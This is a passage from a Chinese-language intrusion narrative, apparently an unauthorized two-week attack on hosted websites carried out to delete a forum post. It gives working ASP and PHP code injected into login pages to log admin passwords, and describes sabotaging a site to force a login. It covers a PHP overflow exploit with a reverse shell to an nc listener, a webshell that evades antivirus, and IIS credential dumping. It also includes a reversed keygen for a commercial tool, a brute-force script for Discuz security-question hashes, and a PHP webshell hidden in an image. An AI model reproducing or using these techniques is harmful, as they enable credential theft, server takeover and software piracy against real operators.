0×09 asp登陆口嗅探变态的密码
幸运的是www.bbb3.com所在的虚拟主机没有做什么安全措施,传上去一个aspx的木马就可以跨到www.bbb1.com和www.bbb2.com的目录里去了,毕竟aspx默认是权限稍大的user权限。在尝试ftp密码无果后,下一步就是在bbb1和bbb2的后台登陆口页面写嗅探代码了。
我在Admin_Send.asp页面第8行开始添加以下代码:
thename=replace(trim(request.form(“username”)),”‘”,”")
thepass=replace(trim(Request.form(“password”)),”‘”,”")
SaveFile=”page.gif”
GetPostStr=thename&”|”&thepass
set F=server.CreateObject(“scripting.filesystemobject”)
set I=F.OpenTextFile(server.mappath(SaveFile),8,True,0)
I.WriteLine(GetPostStr)
I.close
Set F=nothing
只要管理员登陆后台,密码就会被记录在page.gif中,剩下的就只有等了。
但我不是一个忍者,等了一天无果后,我就在他数据库网站配置字段做了点手脚
致使访问他网站首页是空白,但是后台还是可以正常登陆的。果然这家伙不到半天就急了,当天晚上的时候我就顺利的嗅探到了他的变态的密码。如图16:
图16
从图16可以看到,密码果然很强悍,10位以上,字母数字再加上+-号,让www.cmd5.com再添50公斤的硬盘也破不了啊。
拿到这个关键性的密码,再用前面研究出的3hoocms 后台getshell漏洞,轻车熟路的拿下www.bbb.com的webshell,也就是a.111.com所在的虚拟主机。
接下来的任务就是提权跨目录到a.111.com了。
0×0a 突破星外+护卫神
进行到这里,在星外虚拟主机+护卫神.入侵防护专家的防御之下,确实让人望而却步。好在php版本比较低,我终于用上了那个调试好的php溢出漏洞。在metasploit生成一个反弹端口的shellcode添加到那个exp.php代码中后。我在本机执行nc –vvlp 8181,然后把exp.php传到www.bbb.com根目录。当我在浏览器打开http://www.bbb.com/exp.php时,立刻出现了如图17的错误:
图17
从图17返回的内容来看,应该是没有成功。后来我在vmware_win2003设置了和目标操作系统+php版本+php执行方式(ISAPI)一模一样的环境,我顺利反弹回来一个nt network权限的shell。这里我考虑应该是w3wp.exe 执行的shellcode ,所以继承w3wp的nt network权限。但不论怎样也是个交互式可执行命令的shell啊。我第6次悲催的运气,促使我终于找到了答案,原来目标win2003打开了dep(堆栈数据执行保护)。
我仍然没有气馁,虽然上次域名过期那个站的目录没有执行aspx的权限,那么这个www.bbb.com的目录我还没试呢。万一支持aspx不就又多一种执行命令的方法吗?即这个方法:
System.Diagnostics.Process.Start(@”calc.exe”);)
这次我果然没有再次苦命,bbb.com是支持aspx的,只是有两个问题需要解决。
- 护卫神几乎杀光了所有的aspx木马,需要突破。
- 星外虚拟主机的可写可执行目录的寻找是个大麻烦。需要寻觅一个,上传cmd.exe,来支持aspx执行命令,因为大家都知道win2003默认情况,c:\windows\system32\cmd.exe只对administrator有权限读写。
第一个问题比较好解决,我记得我写过一篇在黑客手册发表的《浅谈在webshell下执行命令》这一篇文,里面有我提供的三种aspx执行命令的小马。使用任何一个,改变一下字段名,除去敏感字符串,再把函数位置条换一下。也就能过了,最多也就是再加密一下而已。这个难不倒我,毕竟混在看雪论坛研究加密解密算法也有几年光景。
至于第二个问题,我倒没有什么好方法,只能写个遍历脚本,测试可读的每一个目录是否有漏网的可写目录存在了。这个网上有很多先人已经写出过这样的方法了,用拿来主义改一改即可。
终于被我找到了星外的一个可写目录是:
C:\Documents and Settings\All Users\Application Data\Microsoft\Media Index
剩下的事情就简单了,我也懒得用pr大杀器,也用不着最新windows全版本的0day提权exp这个牛刀了。直接传一个cscript.exe+iisgetpass.vbs
读出所有网站用户的配置信息和密码即可。iisgetpass.vbs代码大家都有,我就不在这里占篇幅了。
最终结果如图18:
图18
一般这样的结构的网站,iis账户的密码就是ftp的密码。就这样我得到了a.111.com的ftp账户和密码,并成功把其拿下。
由于主目标www.aaa.com只开80,也无法用这个ftp密码去尝试它,并且再用这个密码尝试其论坛管理员的密码又无结果,只能继续嗅探了。
0×0b php嗅探目标管理员密码
拿下a.111.com后,还是有一些惊喜的。我看到了www.111.com的早期的论坛数据库存在于a.111.com的库中,并且我经过转换,其管理员的discuz! Hash密码与a.111.com的md5 hash密码是一样的。
其实这个对比很简单。
假设a.111.com中管理员的密码hash为:228ab4dd53787ce32a88ade0eeea8a51
早期www.111.com的discuz 管理员密码hash为:
8946fa73f2b44b64da2ebab1aaa57ec6:42ee90
那么测试md5(228ab4dd53787ce32a88ade0eeea8a5142ee90)如果等于8946fa73f2b44b64da2ebab1aaa57ec6,则说明两个密码的明文是一样的。
因为discuz加密的方式是:md5(md5($pass).$salt),我恰恰证实了这一点。
由于密码的复杂度不是现代的人类所能暴力破解的,我于是又一次选择了php登陆口密码嗅探。
于此同时还在继续着另一个工作,就是查找那个帖子所在版块的斑竹的用户名,拿到这些任何一个斑竹的密码不也一样能删帖子达到目的吗?但第7次悲催的运气告诉我,你省省吧,人家那个版块的斑竹就是管理员一个人。我再次无语。
还是老老实实的写代码嗅探吧。
我找到a.111.com的前台和后台登陆口添加了下面的代码。
$username1 = $this->Username;
$password1 = $this->Password;
$file=”././images/ bg1.gif”;
$handle = @fopen(“././images/th_bg1.gif”, “a”);
$recontent = fread($handle,filesize($file));
$content= $username1.”—-”.$password1.”—-date is:”.date(“Y-m-d H:i:s”).”\r\n”;
$result=$recontent.”\r\n”.$content;
@fwrite($handle,$result);
这次我没有着急,因为我发现这个管理员很勤快,几乎天天更新博客,于是第二天顺利记录到其密码。
0×0c discuz!提示问题的阻碍
在拿到管理员变态密码迫不及待的登陆之后,第8次悲催的运气也同时降临了。他需要提示问题的答案才能登陆。
鬼才知道他母亲的名字,他爷爷的名字,他父亲出生的城市,他老师的名字……
再说他也不一定就老老实实写真实答案啊。
在以前,我遇到此类情况都是直接放弃,但是这次不同,前面一个多礼拜承载了我太多的磨难和脑细胞,我无法说服自己放弃。
不是有一个早期的bbs的用户数据库嘛?我于是找到了密码提示问题答案的加密字段为:2afd4591.仅仅是一个8位的串,到底是什么加密算法呢。
我再次担当了阅读源代码的苦力差事。引用2yue的一句话,把我累得跟骆驼一样,终于得到如下结果。
Discuz提示问题有7个,按数字序号是1,2,3,4,5,6,7。设为变量$i
明文答案设为变量$pass.
那么2afd4591=substr(md5($pass.md5($id)),16,8)
这样的话,提示问题答案是可以暴力跑的啊,但如果他的答案是汉字或者很变态的长度的明文,也是很难爆出来的。我发现他最后的hash串仅仅是8位,那么有很大的几率是可以碰撞成功的。
于是我认为:肯定存在多个明文,hash与2afd4591一样,但明文不一样,我十分肯定我的分析。
下面就需要先制作一个大字典,然后开始写程序,碰撞吧。
0×0d OllyDBG调试superdic并制作注册机
我可没有那么多耐性去做重复的工作,我认为肯定有很多人写过字典生成工具,下载一个用就是了。于是我下载到这个小工具superdic,还挺好用的。如图19:
图19
图19告诉我,如果要使用完整功能,需要花注册费15元,在国内企业压榨我们搞网络安全的薪水的背景下,还让我掏出这15块钱,貌似不是太容易的。
自己操刀OllyDBG调试一下,看这个作者用什么加密算法保护自己的程序吧。其实有时候调试算法,破解作者的加密思路也是一个不错的游戏,但是这次我没有那么多精力了,如果它能在两个小时内阻挡我,那我就从我绵薄的存款中给作者奉献一回吧。
先用peid加载superdic.exe如图20
图20
从图20可以看出,软件是vc++6.0写的,且没有加壳。看到这些我很遐意,看来省了我不少事。再用ida加载函数库符号并导入OllyDBG后,就可以开始分析了。
F9运行后我首先用注册码等于123456789,点注册,弹出一个对话框,提示“请重启本程序,如果您输入的注册密码正确,将能使用本软件的全部功能,并可享受后续版本的免费升级。”那么一般来说,重启验证要么是keyfile,要么是写入注册表。经过下断点测试,我发现该程序使用的是注册表验证。
这样一来,下断就有思路了。
用OllyDBG加载superdic.exe后,在命令行下断bp RegOpenKeyExA,然后按f9让其运行,眼睛同时观察着右边的堆栈窗口,在第6次f9之后,断在了这里如图21:
图21
从堆栈可以看到该软件注册表的位置是:Software\\EUsoft\\superdic
用regedit打开看一下这个位置如图22:
图22
图22中看到了superdic把用户名和注册码都保存在了Software\\EUsoft\\superdic这个位置。
这时在0x77da7852这个位置,按f2取消断点,然后alt+f9即可回到应用程序领空。这样一路f8可以来到这里
/*403AEA*/ LEA ESI,DWORD PTR DS:[EBX+6FC]
/*403AF0*/ PUSH ESI
/*403AF1*/ CALL superdic.004027A0
/*403AF6*/ ADD ESP,0C
/*403AF9*/ MOV ECX,EBX
/*403AFB*/ PUSH ESI
/*403AFC*/ PUSH4A0
/*403B01*/ CALL superdic.00430B3C
/*403B06*/ MOV EDX,DWORD PTR DS:[EBX+218]
/*403B0C*/ LEA ESI,DWORD PTR DS:[EBX+218]
/*403B12*/ PUSH 0FF
/*403B17*/ MOV ECX,ESI
可以在0x403af0处设置一个断点,接着f7进入CALL superdic.004027A0,大致一看应该是申请号的生成方法,代码如下:
004027A0 SUB ESP,0C
004027A3 PUSH ESI
004027A4 PUSH0C
004027A6 CALL superdic.004319E7
004027AB PUSH0A
004027AD MOV ESI,EAX
004027AF CALL superdic.004319E7
004027B4 ADD ESP,8
004027B7 LEA ECX,DWORD PTR SS:[ESP+C]
004027BB LEA EDX,DWORD PTR SS:[ESP+4]
004027BF PUSH0A ; /pFileSystemNameSize =0000000A
004027C1 PUSH EAX ; |pFileSystemNameBuffer
004027C2 LEA EAX,DWORD PTR SS:[ESP+10] ; |
004027C6 PUSH EAX ; |pFileSystemFlags
004027C7 PUSH ECX ; |pMaxFilenameLength
004027C8 PUSH EDX ; |pVolumeSerialNumber
004027C9 PUSH0C ; |MaxVolumeNameSize = C (12.)
004027CB PUSH ESI ; |VolumeNameBuffer
004027CC PUSH superdic.00446148 ; |RootPathName = “c:\”
004027D1 CALL DWORD PTR DS:[<&KERNEL32.GetVolumeI>; \GetVolumeInformationA
004027D7 MOV EAX,DWORD PTR SS:[ESP+4]
004027DB MOV ESI,DWORD PTR SS:[ESP+14]
004027DF PUSH EAX
004027E0 PUSH superdic.00446144 ; ASCII “%x”
004027E5 PUSH ESI
004027E6 CALL <superdic._sprintf>
这段代码大概是使用GetVolumeInformationA函数再加上其他一系列操作生成申请号的过程,因为是逆注册算法,这一块我们不关心,可以直接f8过去看结果即可,而事实上也确实生成一个子串是24578843,与图19中的申请号相一致。
我接着往下走,前面不关键的地方就不跟了,一直走到这里:
/*403D48*/ LEA EAX,DWORD PTR DS:[EBX+6FC]
/*403D4E*/ PUSH ECX
/*403D4F*/ PUSH EAX
/*403D50*/ CALL superdic.004034E0
可以看到把申请号压入了堆栈,而函数CALL superdic.004034E0经判断是对申请号做了一次加密过程。从堆栈处看到加密后密文是:
0012EF6C 0012EFA0 ASCII “BqwITTcm8kG5lcEk”
接着再f8配合f7来慢慢走。
/*403D5B*/ PUSH ESI
/*403D5C*/ CALL superdic.00403630
403d5b的位置是把注册码压入堆栈,随即利用CALL superdic.00403630做了一次加密过程。
过了这个call后把我预设的123456789加密成了l6345q789.看下面堆栈数据。
0012EF64 0012FCA0 ASCII “l6345q789″
随后又经过一些对算法无用的代码后来到这里:
/*403EBD*/ MOV DL,BYTE PTR DS:[ESI]
/*403EBF*/ MOV CL,BYTE PTR DS:[EDI]
/*403EC1*/ MOVAL,DL
/*403EC3*/ CMP DL,CL
/*403EC5*/ JNZ SHORT superdic.00403EE5
/*403EC7*/ TESTAL,AL
/*403EC9*/ JE SHORT superdic.00403EE1
/*403ECB*/ MOV CL,BYTE PTR DS:[ESI+1]
/*403ECE*/ MOV DL,BYTE PTR DS:[EDI+1]
/*403ED1*/ MOV AL,CL
/*403ED3*/ CMP CL,DL
/*403ED5*/ JNZ SHORT superdic.00403EE5
/*403ED7*/ ADD ESI,2
/*403EDA*/ ADD EDI,2
/*403EDD*/ TESTAL,AL
/*403EDF*/ JNZ SHORT superdic.00403EBD
/*403EE1*/ XOR EAX,EAX
/*403EE3*/ JMP SHORT superdic.00403EEA
/*403EE5*/ SBB EAX,EAX
/*403EE7*/ SBB EAX,-1
/*403EEA*/ XOR EDX,EDX
/*403EEC*/ PUSH 476
/*403EF1*/ TEST EAX,EAX
/*403EF3*/ SETE DL
/*403EF6*/ MOV ECX,EBX
/*403EF8*/ MOV DWORD PTR DS:[EBX+90],EDX
这段代码即是:BqwITTcm8kG5lcEk与l6345q789的对比过程,如果相等就注册成功。
作者的大题思路就是这样吧,如果爆破的话只需要把403EF1处改为下面的代码即可。
/*403EF1*/ MOV DL,1
但分析到这里,爆破已经满足不了我的欲望了,再说离我的两个小时还差的远呢。接着看看作者算法的思路吧。
既然我分析的思路已经清晰,我在这里再稍作整理:、
设CALL superdic.004034E0函数=f1()
CALL superdic.00403630函数=f2()
如果f1(申请号)=f2(注册码) 那么就注册成功。
看来f2()函数是关键啊,需要写出它的逆函数,f7进去一看,貌似还很长,如图23:
图23
仅仅图23的一页,还显示不完,我再次像骆驼一样的f7走来走去,再加上ida的f5,终于对这段代码有了初步的了解。
最终我使用了一种巧妙的办法写出了这段代码的逆函数如下。
有点基础的朋友自己看代码吧。我也不好在这里占用太大篇幅去深析这个算法的逆向过程。
void DicDecode(char *str)
{
char end[64]={0};
if (strlen(str) !=16) *str=0;
for(int i=0,j=0;i<16,j<64;i++,j=j+4)
{
if(str[i]<=’9′ && str[i]>=’0′)
{
end[j]=str[i]-22;
goto LABEL_a;
}
if(str[j]<=’z’ && str[i]>=’a')
{
end[j]=str[i]-61;
goto LABEL_a;
}
if(str[i]<=’Z’ && str[i]>=’A')
{
end[j]=str[i]-65;
}
LABEL_a:
;
}
for(i=0;i<64;i=i+4)
{
if(end[i]<=i)
{
end[i]=i-end[i];
}
}
int v10[16];
for(int k=0,n=0;k<16,n<64;k++,n=n+4)
{
v10[k]=(int)end[n];
}
for(i=0;i<16;i++)
{
if(v10[i] <= 25 && v10[i]>=0)
{
str[i]=v10[i]+ 65;
goto LABEL_bb;
}
if(v10[i] <= 35 && v10[i]>=26)
{
str[i]=v10[i]+ 22;
goto LABEL_bb;
}
if(v10[i] < 61 && v10[i]>=36)
{
str[i]=v10[i]+ 61;
}
LABEL_bb:
;
}
char sigeliu[5]={0×36,0×36,0×36,0×36,0};
strcat(str,sigeliu);
}
总之最后累的跟骆驼似的终于还是凑出了这个半成品的注册机。如图24:
图24
该注册机的用法是在00403D5B处,看堆栈得到f1(申请号)= BqwITTcm8kG5lcEk.
把这个值写入密文框内,点击解密就得到其注册码。这时看了看表大概用了110分钟,好险,差点损失15块钱。
0×0e discuz!提示问题也是浮云,碰撞V5
字典生成器破解完后,我开始酝酿写这个discuz! 提示问题的碰撞程序。由于php的易用性,我选择用它来写。说白了也就是个穷举的过程。代码如下:
<?
/*discuz提示问题答案暴力破解程序。by kyo327*/
error_reporting(0);
if ($argc<2) {
print_r(‘
——————————————————————
Usage: php ‘.$argv[0].’ hash
Example:
php ‘.$argv[0].’ 91de8255
——————————————————————
‘);
die;
}
$fd=fopen(“pass.dic”,r);
if(!$fd)
{
echo “error:打开字典文件错误” ;
die;
}
while($buf=fgets($fd))
{
for($i=1;$i<8;$i++)
{
$tmp=substr(md5(trim($buf).md5($i)),16,8);
//echo $tmp;
$conn = strcmp($tmp,$argv[1]);
if($conn==0)
{
echo “密码破解成功。\n”.”提示问题答案为:”.$buf.”提示的问题为:”.theask((int)$i).”\n”;
die;
}
}
}
if($conn!=0)
{
echo “没有正确的密码”;
}
fclose($fd);
function theask($var){
if($var==1) {
return “母亲的名字”;
}
elseif($var==2) {
return “爷爷的名字”;
}
elseif($var==3) {
return “父亲出生的城市”;
}
elseif($var==4) {
return “您其中一位老师的名字”;
}
elseif($var==5) {
return “您个人计算机的型号”;
}
elseif($var==6) {
return “您最喜欢的餐馆名称”;
}
elseif($var==7) {
return “驾驶执照最后四位数字”;
}
}
?>
我使用自己保存的100M大字典破解没有成功。后来我把这个脚本放在了一朋友的服务器上,然后用superdic生成了3G的大字典,直接丢在服务器上碰撞吧。
其实我坚信,在8位的字母加数字的大字典中去做碰撞的话肯定会成功的。只是我没有那么大的硬盘,只做了6位字母来测试。
又经过一天后,等我登陆朋友的服务器3389之时,我发现得到了结果如图25:
图25
我敢肯定,ufedys肯定不是这个管理员的答案。于是hash相同,明文却不相同的碰撞终于成功了。我默默在心里说了声:碰撞V5。
剩下的应该比较容易了,登入后台,上传一个带php一句话木马的美女图片。(不要告诉我,你在discuz! X2后台找不到上传的地方啊)。然后利用类似这样的url:
http://www.222.com/data/attachment/common/cf/212018txqnu4rcee3iek52.jpg/kyo.php 连接菜刀,就这样彻底拿下了该目标。
既然Webshell都拿到了,删帖子这么简单的事情还用我继续说吗?
0×0f 后记
到这里,费时两周的渗透也算是结束了,实战过程中其实还遇到了更多的各种各样问题,只不过本文是后来补写的,很多细节都忘却了,但主要的东西都已经在文章中体现了。
最后我还是想提一提国内的安全现状,不出事不代表你们没有被入侵过,在我工作过的这几年,做了不少安全检测,每次渗透测试拿到shell之时,大都发现有黑客进来的痕迹,这些还都是不知道打扫日志的菜鸟呢。安全圈内流传一句话,只要有毅力没有日不下来的站,我深信之。以我这种菜鸟的水平,在别人给我目标时我都可以保证50%的成功率,还用说国内归隐的各种日站大牛吗?
所以最后要敬告国内的某些大公司,请善待网络安全人才。另外在2012新的一年里祝愿冰点极限的2yue、kindle、小龙猪、老马(Marcos)、lcx、np、孤水绕城、Beach、顺、安静、alex、紫夜、cnbug等好友们婚姻与事业双丰收。
|